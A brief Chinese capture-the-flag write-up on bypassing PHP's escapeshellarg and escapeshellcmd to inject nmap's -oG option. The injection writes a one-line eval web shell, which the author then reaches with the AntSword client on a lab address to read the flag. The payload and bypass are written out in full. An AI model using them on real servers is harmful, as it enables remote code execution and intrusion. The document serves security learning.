代码审计
传参host
,system
函数执行npm
命令
疑似利用链
发现陌生函数,可能起到过滤作用
escapeshellarg,escapeshellcmd
查询PHP manual
Payload构造
双引号被视为字符串,在cmd,shell
命令中不会被视为参数,单引号可以注入参数,但是会被arg
转义
我们希望构造如下payload,但是如果直接传入的话会被认为字符串,无法识别参数
<?php eval($_POST["a"]);?> -oG test.php
➡️ '<?php eval($_POST["a"]);?> -oG test.php'
为了注入我们只能使用单引号,但由于单引号会被转义所以我们必须想办法绕过。
假设Payload传入
'127'01'
,则arg将其过滤为''\''127'\''01'\'''
(最外部的单引号是字符串结构,双引号强字符串Maybe)
➡️arg
在将单引号转义后会将转义部分用单引号括起
➡️ 注意在'
被转义后就不在是字符串结构而是代表单引号
于是构造Payload'<?php eval($_POST["a"]);?> -oG test.php '
最后面的空格是为了避免单引号被转义后经过cmd
处理文件后缀名变为php\
前面的空格可加可不加
过程
蚁剑连接urlhttp://192.168.163.128:9001/f174876655c13ffd3129177e7aeb279d/test.php
成功连接读取根目录下\flag